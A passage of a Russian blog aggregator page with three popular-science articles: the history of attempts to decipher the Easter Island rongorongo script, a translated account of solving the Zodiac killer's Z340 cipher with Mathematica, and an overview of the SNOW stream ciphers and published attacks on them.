обратили в христианство, запрещав говорить на родном языке и воспроизводить местную культуру.

Открытие

В 1864 году миссионер Эйро сделал удивительной открытие: чуть ли не в каждой хижине хранились небольшие дощечки, покрытые мелкой резьбой, которые как будто бы можно было читать до того, пока все грамотные островитяне не умерли в рабстве. Мы точно не знаем, что именно произошло, по-видимому, Эйро объявил таблички запретными, препятствующими попаданию в рай и призвал их сжигать. Помимо христианства Эйро привез на остров туберкулёз, эпидемия которого за несколько лет выкосила четверть населения. После его смерти в 1868 другой священник, пришедший на смену Эйро, всё же решил рассказать о табличках начальству. Епископ Жоссан на Таити тут же понял, каково значение находки, но к тому моменту осталось всего две дюжины артефактов с надписями. Так мир узнал про ронго-ронго письменность острова Пасхи.

Оставшееся

Таблички сохранились по случайности: часть из них местные не выдали Эйро, а часть была погребена в сырых пещерах с семейными ценностями, откуда их вытащили впоследствии для продажи. Из-за сырости многие из них сильно повреждены и археологи, скорее всего, уже никогда не найдут других табличек, они просто сгнили в пещерах. Всего нам известно о 28 текстах, некоторая часть из которых могут быть подделками. Всего на них удалось опознать порядка 14 000 знаков. В наши дни таблички хранятся в музеях по всему миру, в России две из них можно увидеть в Кунсткамере.

Тексты вырезались на дощечках, корягах, статуэтках и деревянных украшениях с помощью обсидианового лезвия и акульего зуба. По результатам анализа донных отложений озёр, до 1200 года Рапа Нуи был покрыт густым лесом, но с приходом человека деревья стали уступать, так что к моменту визита европейцев уже не было ни одного растения выше нескольких метров. Похоже, что рапануйцы срубили все свои деревья, не смогли построить большое океанское каноэ, чтобы сплавать за помощью на другие острова и остались в изоляции, погрузившись в междоусобные войны, голод и каннибализм. Так что таблички вырезали на чём придётся: запасах старой древесины, европейских вёслах, крестах, воздвигнутых в 1770 году испанцами и даже на обломках, прибитых волнами к побережью. Радиоуглеродный анализ показывает, что часть табличек вырезана на древесине, росшей на острове до контакта с европейцами, но мы не знаем, когда именно была нанесена резьба.

Изучение

Неизвестная письменность в XIX веке не могла не привлечь внимания ученых, попытки прочесть тексты начались тут же после их обнаружения. Естественно было предположить, что кто-то всё ещё мог читать ронго-ронго или хотя бы видел как это делалось. Епископ Жоссан нашел на Таити эмигранта с острова Пасхи и попытался с его помощью прочесть их и составить каталог знаков. В ответ он получил несколько песнопений, воспроизведенных по памяти, а в качестве чтений знаков их описание как если бы они были просто картинками: вот черепаха, вот растение, вот человечек, а это птица Информатор Жоссана на самом деле не знал, как читать тексты. Потом было ещё несколько попыток найти других информаторов, но время шло, поколение, заставшее времена до рейдов рабовладельцев, состарилось и доживало свой век в лепрозории. Вместе с последними из них были исчерпаны возможности узнать что-то о чтении ронго-ронго из уст очевидцев. Поняв, что европейцы интересуются ронго-ронго, рапануйцы стали делать поддельные таблички, а также создавать мистификации в виде тайных манускриптов, якобы содержащих ключи к расшифровке. К сожалению, ни одного реального ключа или билингвы среди них не оказалось, так что настало время применять другие подходы к расшифровке.

Параллельные фрагменты

Первый серьезный результат был получен ленинградскими школьниками Борисом Кудрявцевым, Валерием Байтманом и Александром Жамойда в 1938 году. Они обнаружили, что на обеих табличках в Кунсткамере написан примерно одинаковый текст. Позже Кудрявцев обнаружил, что на двух табличках из других музеев есть другой повторяющийся фрагмент. Также он составил собственный каталог знаков ронго-ронго. Кудрявцев погиб на войне, но спустя годы его дело было продолжено Юрием Кнорозовым, к тому моменту уже расшифровавшим письменность Майя. Им была создана особая группа по расшифровке ронго-ронго, подошедшая к вопросу с размахом, создавшая новые каталоги знаков и даже использовавшая компьютеры, но результатов все эти усилия принесли мало. Сейчас сложно судить о том, что именно стало причиной провала, но, по-видимому, можно выделить три фактора:
1. Кнорозов работал в основном с фотографиями, а не с оригиналами текстов, потому его группа не смогла составить адекватного каталога знаков.
2. Успех Кнорозова в расшифровке письменности Майя, принципы которой он всецело перенес на ронго-ронго.
3. Никто из его группы в то время не знал рапануйского или хотя бы какого-то родственного ему полинезийского языка.
Ронго-ронго было объявлено не настоящей письменностью, а мнемоническим ребусом, в котором пропускались служебные части речи, оставляя широчайший простор для творчества. Сейчас мы знаем, например, что в рапануйском языке нет даже частей речи в привычном нам понимании, большинство слов могут быть существительными либо глаголами в зависимости от служебных частей речи вокруг них, так что без этих маленьких слов-суффиксов и слов-приставок ничего наверняка прочитать бы не получилось.

Каталог знаков

Примерно в те же годы Томас Бартель ездит по миру, делает копии всех известных табличек с помощью карандаша и папиросной бумаги и по ним создает собственный каталог символов ронго-ронго. Им исследователи пользуются до сих пор. В отличие от группы Кнорозова, Бартель обратил внимание на то, что отдельные знаки имеют повторяющиеся в разных комбинациях элементы, это наблюдение легло в основу классификации. У него получилось выделить порядка 700 уникальных знаков, сгруппированных по форме тел, голов, рук, ног и прочих элементов. Каталог Бартеля позволил другим ученым перейти от чисто словесных описаний знаков человечек с поднятой ручкой к надежным цифровым кодам. Последователь Бартеля Стивен Фишер заново сделал копии табличек и исправил найденные ошибки, в дальнейшем исправлять каталог продолжило объединение CEIPP им можно написать и попросить прислать текстовый файл, в котором закодирован весь корпус текстов.

Элементы

В 1980-90х годах Гай, Макри и Поздняков, изучая параллельные фрагменты текстов, расширяют наше понимание внутреннего устройства отдельных знаков. Оказывается, что многие из элементов являются как будто бы аллографами разными вариантами написания. Каталог составных элементов всё уменьшается и появляется гипотеза о слоговом характере ронго-ронго. В рапануйском языке 55 слогов и 55 элементов с аллографами как будто бы хватает для того, чтобы закодировать почти весь корпус имеющихся надписей.
Вот таблица базовых элементов Позднякова:

Появление персональных компьютеров позволило установить сотни параллельных фрагментов разной длины, а так же перечислений и других структурированных частей на некоторые из статей, описывающие отдельные результаты, я дам ссылки ниже. Вот какова структура текстов некоторых табличек друг относительно друга:

Хорли также предложил собственный каталог составных элементов знаков.

Дешифровки

До сих пор могло сложиться впечатление, что попыток предложить расшифровки не было, а вместо этого ученые скрупулезно исследовали тексты и делали осторожные выводы. Всё было иначе, расшифровки предлагались самые разнообразные! Предлагались чтения на языках американских индейцев, заявлялось, что ронго-ронго это письменность долины Инда, что рапануйцы инки или даже арийцы. Ирина Константиновна Фёдорова, бывшая членом группы Кнорозова, в 1990-х предложила свою трактовку, по которой тексты рассказывают о сельском хозяйстве: как кто какой сорт картошки сеял и пожинал. У Дэ Лаат все тексты про мужчину, убившего свою жену. У Рябчикова про астрономию. У Фишера о появлении вещей из других вещей

Современность

Итак, с гипотезой о слоговом характере письма и большим количеством параллельных фрагментов мы вроде бы пришли к задаче о расшифровке омофонической замены. Нужно перевести коды Бартеля в новую кодировку с меньшим количеством составных элементов знаков, корпус сохранившихся рапануйских легенд и преданий разобрать по слогам и дальше применить один из алгоритмов, появившихся в последние годы. Что мешает?

1. Мы не знаем, как именно корректно разделить символы каталога Бартеля на составные части. Обратите внимание, что у Позднякова и Хорли существенно разные наборы составных элементов и ни один из них никогда не публиковал кодирование тектов в собственные системы. Алгоритмы расшифровки омофонической замены позволяют нам оставить порядка 150 омофонов (втрое больше количества слогов в рапануйском языке), но мы не можем сказать, что значимо, а что нет.

2. Малая доступность корпусов и словарей языка. Самый полный словарь Фуэнтеса, судя по всему, пока ни разу не утекал в открытый доступ. В бумажном виде это библиографическая редкость. Записи легенд, сделанные такими антропологами, как Метро или Рутледж, не были опубликованы и до сих пор хранятся в архивах их экспедиций в виде рукописей.

3. Некорректная орфография большинства источников. В рапануйском есть одна фонема, гортанная смычка, звук на месте - в русском не-а. Её впервые расслышали через двести с лишним лет после первого контакта. Фуэнтес и Энглерт кое-где отмечали её, но сейчас мы знаем, что далеко не везде. Абсурдно, но известная советская исследовательница Ирина Федорова в своих публикациях вообще её пропускала, по соображениям удобства при наборе текстов, что для русского языка было бы равнозначно пропуску букв т и с. Это важно, потому что алгоритмы расшифровки омофонической замены используют частоты отдельных элементов, как правило, n-грамм.

4. Рапануйский язык после рейдов работорговцев подвергся очень сильному влиянию других полинезийских языков, прежде всего таитянского и мангаревского. К рапануйскому они примерно так же близки, как сербский к русскому, что привело к обширным заимствованиям. Первые хоть сколь-нибудь большие словари составлены уже после того, как произошла волна заимствований. И, хотя это не означает, что рапануйцы говорили на каком-то совсем уж другом языке, не учитывать изменения нельзя.

Что почитать

Об истории острова:
Современное представление
О контактах с американскими индейцами

О ронго-ронго:
Бартель: 1, 2
Давлетшин: 1, 2, 3, 4, 5, 6
Гай: 1, 2, 3, 4
Харрис: 1
Хорли: 1, 2, 3, 4, 5, 6, 7
Кнорозов: 1
Макри: 1
Мелка: 1, 2, 3, 4, 5, 6
Поздняков: 1, 2, 3, 4, 5, 6
Фёдорова: 1, 2
Ветшорек: 1, 2

Об алгоритмах расшифровки омофонической замены:
Kopal: Cryptanalysis of Homophonic Substitution Ciphers Using Simulated Annealing with Fixed Temperature
Dhavari: Efficient Cryptanalysis of Homophonic Substitution Ciphers
Magnuson: Homophonic Cipher Attack
Campos: Genetic Algorithms and Mathematical Programming to Crack the Spanish Strip Cipher
Sanguino: Analyzing the Spanish Strip Cipher by Combining Combinatorial and Statistical Methods
Oranchak: Evolutionary Algorithm for Decryption of Monoalphabetic Homophonic Substitution Ciphers Encoded as Constraint Satisfaction Problems
Ravi: Bayesian Inference for Zodiac and other Homophonic Ciphers
King: An algorithmic solution of sequential homophonic ciphers немного про другой вид шифров, но с интересной идеей
AZdecrypt
Zhong: Cryptanalysis of Homophonic Substitution Cipher Using Hidden Markov Models
Nuhn: Beam Search for Solving Substitution Ciphers
Nuhn: Improved Decipherment of Homophonic Ciphers
Kambhatla: Decipherment of Substitution Ciphers with Neural Language Models

О рапануйском языке:
Грамматика Ду Феу
Грамматика Киевиета самая подробная
Словарь Энглерта
Сравнительный словарь полинезийских языков
Корпус рапануйских текстов Козьмина, скоропостижно скончавшегося и не успевшего завершить работу над ним
Второй корпус Козьмина сотоварищи
Третий корпус Козьмина

Вдохновляющее, на русском:
Аку-аку Тура Хейердала
Мифы и легенды острова Пасхи Фёдоровой
Мифы, предания и легенды острова Пасхи Фёдоровой это другая книга, хотя названия похожи

Послесловие

Культура острова Пасхи заинтересовала меня в 11 лет, когда я прочел книгу Тура Хейердала Аку-аку. Тогда остров казался неимоверно далёким и необычным, на противоположном конце света. Сейчас расстояния сократились, вы можете прочитать десятки книг и статей про остров, поговорить с современными рапануйцами, но ронго-ронго по-прежнему остается загадкой. Задача ждет своего решения!

Подробнее..

Категории: Научно-популярное , Алгоритмы , Криптография , Natural language processing , Занимательные задачки , Шифр , Ронго-ронго , Ронгоронго , Письменность , Остров пасхи , Омофоническая замена , Дешифровка

Перевод Решение 340-символьного шифра Зодиака с помощью Mathematica

27.03.2021 12:17:15 |

Автор: admin

Зодиак (неопознанный американский серийный убийца, действовавший в 60-х и 70-х годах прошлого века) отправил множество издевательских писем в прессу города Сан-Франциско. В этих письмах убийца брал на себя ответственность за преступления и угрожал совершить новые убийства. Письма также содержали три шифра, каждый из которых являлся частью 408-символьной криптограммы. Убийца утверждал, что эта криптограмма раскроет секрет его личности. Зодиак отправил четвертый и последний шифр (который рассматривается в этой статье) в San Francisco Chronicle после того, как 408-символьная криптограмма, расшифрованная в 1969 году, не раскрыла личность убийцы.

Коротко о Z340

Меня вдохновило видео Дэвида Оранчака, в котором рассматривается 340-символьный шифр Зодиака (Z340). Этот шифр один из святых Граалей криптографии, так как его не могли разгадать на протяжении 50 лет.

340-символьный шифр Зодиака

В своем видео Дэвид высказал идею о том, что Z340 это одновременно и омофоническая замена, и перестановочный шифр. На данный момент существуют различные эффективные программы для решения омофонических шифров и лучшей из них считается AZdecrypt. Эксперименты показывают, что AZdecrypt способна решить все омофонические шифры с той же длиной и распределением символов, что и у Z340. Но, к сожалению, AZdecrypt не может расшифровать его. Возможно, решение заключается в поиске правильного перестановочного шифра с последующим использованием AZdecrypt для решения омофонического шифра замены.

Период-19

Дэвид выделил одну конкретную перестановку, которую нашли независимо друг от друга и разместили на zodiackillersite.com пользователь daikon и Ярл ван Эйке (автор AZdecrypt) период-19.

Про период

Период это расстояние или шаг между исходной позицией символа в тексте и его новой позицией после перестановки.

Ради интереса я решил построить её с помощью Mathematica:

Таблица показывает, на какую позицию должен встать символ исходного текста после перестановки

Однако это не было похоже на перестановку, которую нашли daikon и Ярл ван Эйке. К моему удивлению, оказалось, что в их перестановке при переходе с последней строки на первую использовался период, равный 18.

Перестановка с периодом 19, которую нашли daikon и Ярл ван Эйке.

Хотя эта перестановка внешне выглядела интересно, она не показалась мне естественной конструкцией, которую можно сделать на листе бумаги. Стоит отметить, что Z340 был составлен в 1969 году и поэтому наверняка он создавался вручную без использования компьютера.

Я увидел связь между перестановкой с периодом 19 и 1,2-децимацией шифра 20x17.

Что такое децимация?

Здесь и далее в тексте децимация (англ. decimation) это перестановка, построенная по следующим правилам: число, характеризующее децимацию (стоящие перед ней) определяют позицию следующего символа. В случае одномерной децимации (n-децимация) число n определяет количество шагов, которые необходимо сделать вправо, чтобы перейти к следующему символу. В случае двумерной децимации (n, m-децимация) для того, чтобы перейти к следующему символу, необходимо сделать n шагов вниз и m шагов вправо, начиная с верхнего левого угла.

Эта перестановка принимает диагонали, аналогичные перестановке с периодом 19:

Выполнение 1,2-децимации Z340 через AZdecrypt не дало решения.

Подсчет биграмм

Один из способов исследовать вероятность нахождения правильной перестановки омофонического шифра замены это подсчет количества повторяющихся биграмм.

Что такое биграмма?

Биграмма - это последовательность из двух рядом стоящих символов.

В системе Mathematica легко написать код для произвольных n-грамм:

Затем мы можем построить большое количество шифров, подобных Z340, и сравнить распределение числа биграмм в них с большим количеством случайных перетасовок Z340:

Среднее количество биграмм для случайных перетасовок составило 19,8, а для случайных шифров, подобных Z340, 34,5. Z340 имеет 25 повторяющихся биграмм, в то время как перестановка с периодом 19, которую нашли daikon и Ярл, и 1,2 децимация имеют 37 повторяющихся биграмм. Таким образом, статистически можно предположить, что мы находимся на правильном пути.

Перебор возможных перестановок

После того, как прогон 1,2-децимации через AZdecrypt не дал решения, мы решили работать над поиском среди большого числа потенциальных перестановок. Было сложно выяснить, какие перестановки проверялись в прошлом, поэтому я решил пронумеровать все приемлемые перестановки, отсортировать их по количеству биграмм и пропустить через AZdecrypt. Вот, некоторые из этих перестановок:

Я также включил все перестановки, соответствующие одномерным и двумерным децимациям. Для одномерных перечислений всех чисел, взаимно простых с 340 (чтобы заполнить весь массив) у нас есть следующие 128 соответствующих децимаций:

Для двумерных перечислений у нас есть следующие 128 соответствующих децимаций:

Например, 3,4-децимация порождает следующую перестановку:

Используя AZdecrypt, мы протестировали все перестановки с разными правилами расположения элементов: row-major, column-major, чередование строк и столбцов, чередование столбцов и строк, по внешним и внутренним спиралям, по диагоналям, а также построенные выше одномерные и двумерные децимации. Эксперимент не дал ничего похожего на решение, поэтому мы протестировали все пары перестановок. Затем мы рассмотрели возможность тестирования всех упорядоченных троек перестановок; однако для этого потребуется проверить 155 929 364 660 224 потенциальных шифров. Если предположить, что проверка одного шифра занимает одну секунду, то для полного перебора потребовалось бы более пяти миллионов лет. Поэтому мы решили ограничиться децимациями, которые можно было бы составить от руки, а затем протестировали потенциальные шифры с большим количеством биграмм. И этот поиск тоже ничего не дал.

Сегментация исходного шифра

Возможно, мы упускаем еще один шаг. Учитывая то, что 408-символьный шифр Зодиака был отправлен в виде трех одинаковых по размеру фрагментов, мы предположили, что Z340 построен из отдельных сегментов, а затем зашифрован с перестановкой и омофонической заменой:

408-символьный шифр Зодиака

Мы рассмотрели разделение шифра на несколько сегментов:

Затем мы использовали Reduce для вычисления всех возможных 2x2 сегментов:

Учитывая большое количество биграмм в 1,2-децимации, мы начали поиск с двумерных децимаций, при этом каждый сегмент имел одинаковую (одиночную) перестановку. Как и при предыдущих попытках, это ничего не дало.

Поиск композиций из нескольких перестановок и всех комбинаций перестановок для всех сегментов будет значительно более масштабным мероприятием. Поэтому мы решили повторно проанализировать результаты первоначального поиска. Из 650 000 протестированных перестановок одна содержала несколько особенно интересных сегментов открытого текста:

Это было интересно, поскольку тестируемой перестановкой оказалась 1,2-децимация с разделением шифра на три вертикальных сегмента:

Исследуя этот результат, Дэвид использовал полученное разделение, 1,2-децимацию и AZdecrypt с известными фрагментами текста: HOPE YOU ARE, TRYING TO CATCH ME и THE GAS CHAMBER. С помощью этого AZdecrypt нашел следующее решение для первого сегмента:

Эврика! Спустя 51 год мы расшифровали часть Z340. Это был особенный момент. А как насчет оставшихся двух сегментов? Возможно, мы нашли только одно правильное вертикальное разделение из 9 строк, а оставшиеся 11 строк требовали другой сегментации. Или, возможно, требовалась другая перестановка, или даже другой ключ для шифра подстановки, отличающийся от полученного для первого сегмента, или все вместе взятое. Наша работа была далека от завершения.

Дальнейший криптоанализ

Дэвид обнаружил, что мы можем использовать ключ из первого сегмента к последнему сегменту для создания следующего открытого текста без каких-либо перестановок:

Открытый текст, включая некоторые пробелы, выглядит так:

Затем, перевернем некоторые слова:

Это показалось вполне реалистичной расшифровкой последнего сегмента.

А как насчет второго сегмента? Если использовать в виде crib-фразы весь разборчивый текст из первого сегмента, мы получим следующую расшифровку:

Некоторые части этого текста имели смысл, но мы, конечно, еще не достигли желаемого результат. Мы попросили Ярла ван Эйке, автора AZdecrypt, помочь нам с этим сегментом. Он сделал следующие наблюдения:

Открытый текст LIFEIS исключается из 1,2-децимации и читается слева направо.
Многочисленные орфографические ошибки исправляются, если H в шестой строке переместить в четвертый столбец.
Нужно применить 1,2-децимацию, пропуская позиции, содержащие LIFEIS:

Тогда второй сегмент станет таким:

Ключ шифра и перестановка, которые мы обнаружили для шифра Z340, выглядят следующим образом:

Эпилог

Полное послание в примерном переводе звучит так:

Надеюсь, вы повеселились, пытаясь меня поймать. Это был не я на ТВ-шоу. Кстати, обо мне. Я не боюсь газовой камеры, потому что она отправит меня в рай пораньше, и потому что у меня есть достаточно рабов, которые будут работать на меня там, где ни у кого другого нет ничего, когда они прибывают в рай. Поэтому они боятся смерти. А я не боюсь, потому что я знаю, что моя новая жизнь будет легкой в раю. Смерть.

Спустя пятьдесят один год после того, как Зодиак отправил этот шифр в San Francisco Chronicle, у нас появилось решение. Дэвид отправил его в отдел криптоанализа ФБР в субботу, 5 декабря 2020 г. Вскоре после этого ФБР официально подтвердило правильность нашего решения.

По сути, вся моя работа над Z340 выполнялась в системе Mathematica. Я использовал кластер высокопроизводительных вычислений Spartan в Мельбурнском университете, чтобы исключить возможные перестановки с помощью zkdecrypto, а Дэвид использовал AZdecrypt. В остальном весь статистический анализ Z340, а также создание и анализ миллионов возможных перестановок были выполнены с помощью Mathematica. Причина, по которой я использовал Mathematica, проста: это самый оптимальный и эффективный инструмент для решения данной задачи.

Подробнее..

Категории: Математика , Криптография , Шифр , Омофоническая замена , Wolfram mathematica , Блог компании itsoft , Зодиак , Перестановочный шифр

Поточный шифр SNOW

11.12.2020 12:12:55 |

Автор: admin

Зима. Время валяться в сугробах и играть в снежки. Или почитать статью о поточных шифрах. Кому что больше нравится.

Данная статья является обзорной. Мы поговорим о принципе работы 1 версии SNOW 1.0, вкратце о различных, совершенных на шифр, атаках и о применении его модификаций.

Основная информация

И самая важная, на мой взгляд.

Шифр SNOW относится к словоориентированным поточным шифрам. Он работает с 32-битными словами и поддерживает как 128-, так и 256-битные ключи и состоит из комбинации регистра сдвига с линейной обратной связью (РСЛОС) и конечного автомата (КА).

У него есть 3 модификации. Причем одна из них - SNOW 3G, используется для передачи мобильных данных. Последняя версия SNOW-V была разработана для 5G сетей, но пока не используется.

Немного про историю

SNOW 1.0, первоначально просто SNOW, был разработан в 2000 году в Лундском университете (Швеция).

В первой версии были обнаружены слабые места, и в результате SNOW не был включен в набор алгоритмов NESSIE. В 2003 году авторы разработали новую версию шифра SNOW 2.0, в которой устранили недостатки и улучшили производительность. Во время оценки ETSI SAGE алгоритм шифрования был дополнительно изменён, чтобы повысить его устойчивость к алгебраическим атакам. Результатом таких улучшений в 2006 году стала модификация шифра SNOW 3G.

В 2019 году Ericsson Research совместно с Лундским университетом пересмотрели алгоритм SNOW 3G и обновили его до нового, более быстрого шифра под названием SNOW-V.

Схема работы SNOW

Принцип работы нарисован на картинке. Подробности описаны ниже.

Общая схема работы

Генератор состоит из регистра сдвига с линейной обратной связью длины 16 над полем $\mathbb{F}_{2^{32}}$ . Выход регистра подается на вход конечного автомата. КА состоит из двух 32-битных регистров, называемых R1 и R2, а также некоторых операций для вычисления вывода и следующего состояния (следующего значения R1 и R2). Работа шифра выглядит следующим образом. Сначала выполняется инициализация ключа. Эта процедура обеспечивает начальные значения для РСЛОС, а также для регистров R1, R2 в конечном автомате. Затем первые 32 бита ключевого потока вычисляются путем поразрядного сложения выходных данных КА и последней записи РСЛОС. После этого весь процесс синхронизируется, и следующие 32 бита ключевого потока вычисляются путем ещё одного побитового сложения выходных данных конечного автомата и последней записи РСЛОС. Мы снова синхронизируем и продолжаем в том же духе.

Детальная схема работы

В начальный момент времени t = 0 происходит инициализация регистра сдвига 32-битными значениями s(1), s(2),, s(16) , которые задаются при помощи сгенерированного ключа.

Функция обратной связи для регистра задается многочленом:

$p (x) = x^{16} + x^{13} + x^{7} + \alpha^{-1},$

где $\mathbb{F}_{2^{32}}$ неприводимым многочленом

$\pi (x) = x^{32} + x^{29} + x^{20} + x^{15} + x^{10} + x + 1,$

над $\mathbb{F}_{2}$ и $\pi (\alpha) = 0$ .

Выход КА назовем $FSM_{out}$ . Он рассчитывается по следующей формуле:

$FSM_{out} = (s(1) \boxplus R1) \oplus R2,$

где $\boxplus$ целочисленное сложение по $\mod2^{32}$ .

Выход конечного автомата $FSM_{out}$ сравнивается с s(16) модулю 2 для формирования потокового ключа, то есть

$running key = FSM_{out} \oplus s(16),$

где $\oplus$ сложение по mod 2.

Внутри конечного автомата новые значения для R1 и R2 присваиваются по следующим формулам:

$newR1 = ((FSM_{out}\boxplus R2) \lll 7) \oplus R1,$

где $\lll$ - циклический сдвиг влево,

Наконец, S-блок, обозначаемый S(x) cостоит из четырёх идентичных битовых S-блоков 88 и перестановки полученных битов. Входные данные разделены на 4 байта, каждый байт входит в нелинейное отображение от 8 бит до 8 бит. После этого отображения биты в результирующем слове переставляются, чтобы сформировать окончательный результат S-блока

Для конечного формирования шифртекста потоковый ключ сравнивается с открытым текстом по модулю 2.

Более подробно описан алгоритм шифрования здесь.

Известные атаки

В феврале 2002 года Филипп Хоукс и Грегори Роуз описали атаку Guess and determine attack на SNOW 1.0, в котором используются в основном два свойства, чтобы снизить сложность атаки ниже исчерпывающего поиска ключей. Во-первых, тот факт, что автомат имеет только один вход s(1). Это позволяет злоумышленнику инвертировать операции в конечном автомате и получать больше неизвестных только из нескольких предположений. Второе свойство неудачный выбор полинома обратной связи в SNOW 1.0.
В августе 2003 года Ватанабе, Бирюков и Канньер описали атаку на SNOW 2.0 методом линейной маскировки. Эта атака использует $2^ {230}$ битов потока и $2^ {215}$ анализа, что быстрее, чем исчерпывающий поиск 256-битного ключа.
В 2010 году был описан механизм ресинхронизации SNOW 3G и аналогичного шифра SNOW 3G с использованием атак с коллизией нескольких наборов. В алгоритме описано полное восстановление ключа выбранных атак ресинхронизации IV для 18 из 33 раундов инициализации SNOW3G со сложностью $2^{57}$ для генерации данных и $2^{53}$ этапами анализа.
В 2020 Lin Jiao, Yongqiang Li и Yonglin Hao совершили атаку на SNOW-V под названием Guess and determine attack. Хмм.. Такое же название атаки, как и на SNOW 1.0. Мы, кажется, зациклились. Или нет?

Теперь о применении

SNOW 2.0 один из потоковых шифров, вошедших в стандарт шифрования ISO/IEC 18033-4, который определяет функции вывода для объединения ключевого потока с открытым текстом, генераторы ключевого потока для создания ключевого потока и идентификаторы объектов.
SNOW 3Gвыбран в качестве генератора потоковых ключей для алгоритмов шифрования 3GPP UEA2 и UIA2^.
SNOW-V пока не используется, но всё возможно!

Небольшой итог

Данный шифр, конечно, не идеальный.. А кто идеален? Но он современный и, я думаю, у него есть будущее Проблема безопасной передачи данных как была актуальной, так и является до сих пор!

Подробнее..

Категории: Криптография , Шифрование , Шифр , Поточный шифр , 3g

	Русский
	English